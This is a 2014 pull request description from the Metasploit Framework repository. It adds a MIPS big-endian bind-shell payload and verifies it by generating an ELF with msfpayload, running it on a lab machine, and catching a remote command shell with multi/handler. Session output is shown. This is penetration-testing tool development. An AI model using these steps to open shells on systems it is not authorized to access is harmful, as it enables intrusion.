rapid7/metasploit-framework — pull request #2847 by jvazquez-r7 (2014-01-08 20:55:35+00:00)
Title: Add MIPS big endian single shell_bind_tcp payload

A port of the already existent shell_bind_tcp for mips (little endian), so now it's also available on big endian.

Verification:

- [ ] Create an elf containing the payload with msfpayload:

```
Juans-MacBook-Pro:metasploit-framework juan$ ./msfpayload linux/mipsbe/shell_bind_tcp RHOST=192.168.172.134 LPORT=4445 X > /tmp/shell.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsbe/shell_bind_tcp
Length: 232
Options: {"RHOST"=>"192.168.172.134", "LPORT"=>"4445"}
```

- [ ] Upload, give +x permissions and execute on a mips be machine

```
juan@mipsdebian:~$ chmod +x shell.elf
juan@mipsdebian:~$ ./shell.elf
```

- [ ] Run msfconsole, use exploit/multi/handler, use the payload and hopefully get a session

```
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (linux/mipsbe/shell_bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4445 yes The listen port
RHOST 192.168.172.134 no The target address

Exploit target:

Id Name
-- ----
0 Wildcard Target
^Cmsf exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 7 opened (192.168.172.1:58805 -> 192.168.172.134:4445) at 2014-01-08 14:46:49 -0600

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
uname -a
Linux mipsdebian 2.6.32-5-4kc-malta #1 Sat Feb 16 12:43:42 UTC 2013 mips GNU/Linux
file /bin/ls
/bin/ls: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, with unknown capability 0x41000000 = 0xf676e75, with unknown capability 0x10000 = 0x70401, stripped
^C
Abort session 7? [y/N] y
```